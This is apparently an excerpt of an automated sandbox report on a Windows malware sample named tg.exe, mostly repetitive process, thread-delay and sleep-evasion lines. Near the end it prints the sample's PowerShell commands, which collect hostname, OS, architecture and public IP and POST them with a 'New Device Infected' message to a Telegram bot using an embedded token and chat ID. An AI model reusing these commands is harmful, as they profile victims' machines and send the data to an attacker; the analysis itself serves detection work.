        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeWindow / User API: threadDelayed 9604Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeWindow / User API: threadDelayed 388Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4832Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1791Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 3222Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4100Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1443Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1779Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1718Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 5004Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4801Jump to behavior
        Source: C:\Users\user\Desktop\tg.exe TID: 7516Thread sleep count: 9604 > 30Jump to behavior
        Source: C:\Users\user\Desktop\tg.exe TID: 7516Thread sleep time: -240100s >= -30000sJump to behavior
        Source: C:\Users\user\Desktop\tg.exe TID: 7516Thread sleep count: 388 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676Thread sleep count: 4832 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7676Thread sleep count: 1791 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7724Thread sleep time: -1844674407370954s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7696Thread sleep time: -2767011611056431s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7820Thread sleep count: 3222 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7824Thread sleep count: 4100 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7848Thread sleep time: -10145709240540247s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7872Thread sleep time: -1844674407370954s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7800Thread sleep time: -30000s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880Thread sleep time: -3689348814741908s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7964Thread sleep count: 1443 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7960Thread sleep count: 322 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7980Thread sleep time: -1844674407370954s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8056Thread sleep count: 1779 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8072Thread sleep time: -922337203685477s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8148Thread sleep count: 1718 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8164Thread sleep time: -1844674407370954s >= -30000sJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7204Thread sleep count: 5004 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7208Thread sleep count: 4801 > 30Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7260Thread sleep time: -22136092888451448s >= -30000sJump to behavior
        Source: C:\Users\user\Desktop\tg.exeLast function: Thread delayed
        Source: C:\Users\user\Desktop\tg.exeLast function: Thread delayed
        Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
        Source: C:\Users\user\Desktop\tg.exeThread sleep count: Count: 9604 delay: -25Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Local\Temp\D272.tmpJump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.tmpJump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\Jump to behavior
        Source: C:\Users\user\Desktop\tg.exeFile opened: C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmpJump to behavior
        Source: powershell.exe, 0000000D.00000002.1810723028.000001F2CA4D4000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll[
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_0040A83A LoadLibraryW,GetProcAddress,wcscpy,wcscat,wcslen,CoTaskMemFree,FreeLibrary,wcscat,wcslen,0_2_0040A83A
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_00409950 SetUnhandledExceptionFilter,0_2_00409950
        Source: C:\Users\user\Desktop\tg.exeCode function: 0_2_00409930 SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,SetUnhandledExceptionFilter,0_2_00409930
        Source: C:\Users\user\Desktop\tg.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\sysnative\cmd.exe" /c "C:\Users\user\AppData\Local\Temp\D272.tmp\D273.tmp\D274.bat C:\Users\user\Desktop\tg.exe"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "$env:COMPUTERNAME"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "[System.Environment]::OSVersion"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-RestMethod -Uri 'https://api.telegram.org/bot7879910740:AAEmpll82MOqQk9TxWSC5yK5UZ56ixr0bZQ/sendMessage' -Method POST -Body @{chat_id='6734985705' ; text=' @New Device Infected!!!, Information: Date: 2024-12-22 19:12:07, Hostname: user-PC, OS: Win32NT 10.0.19045.0 Microsoft Windows NT 10.0.19045.0, Architecture: 64-bit, Public IP: 8.46.123.189'}"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Get-Date).ToString('yyyy-MM-dd HH:mm:ss')"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "(Invoke-RestMethod -Uri 'https://api.ipify.org?format=text')"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "$env:COMPUTERNAME"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "[System.Environment]::OSVersion"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "if ([System.IntPtr]::Size -eq 8) { '64-bit' } else { '32-bit' }"Jump to behavior
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "invoke-restmethod -uri 'https://api.telegram.org/bot7879910740:aaempll82moqqk9txwsc5yk5uz56ixr0bzq/sendmessage' -method post -body @{chat_id='6734985705' ; text=' @new device infected!!!, information: date: 2024-12-22 19:12:07, hostname: user-pc, os: win32nt 10.0.19045.0 microsoft windows nt 10.0.19045.0, architecture: 64-bit, public ip: 8.46.123.189'}"
        Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -command "invoke-restmethod -uri 'https://api.telegram.org/bot7879910740:aaempll82moqqk9txwsc5yk5uz56ixr0bzq/sendmessage' -method post -body @{chat_id='6734985705' ; text=' @new device infected!!!, information: date: 2024-12-22 19:12:07, hostname: user-pc, os: win32nt 10.0.19045.0 microsoft windows nt 10.0.19045.0, architecture: 64-bit, public ip: 8.46.123.189'}"Jump to behavior
        Source: C:\Windows\System32\cmd.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
        Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
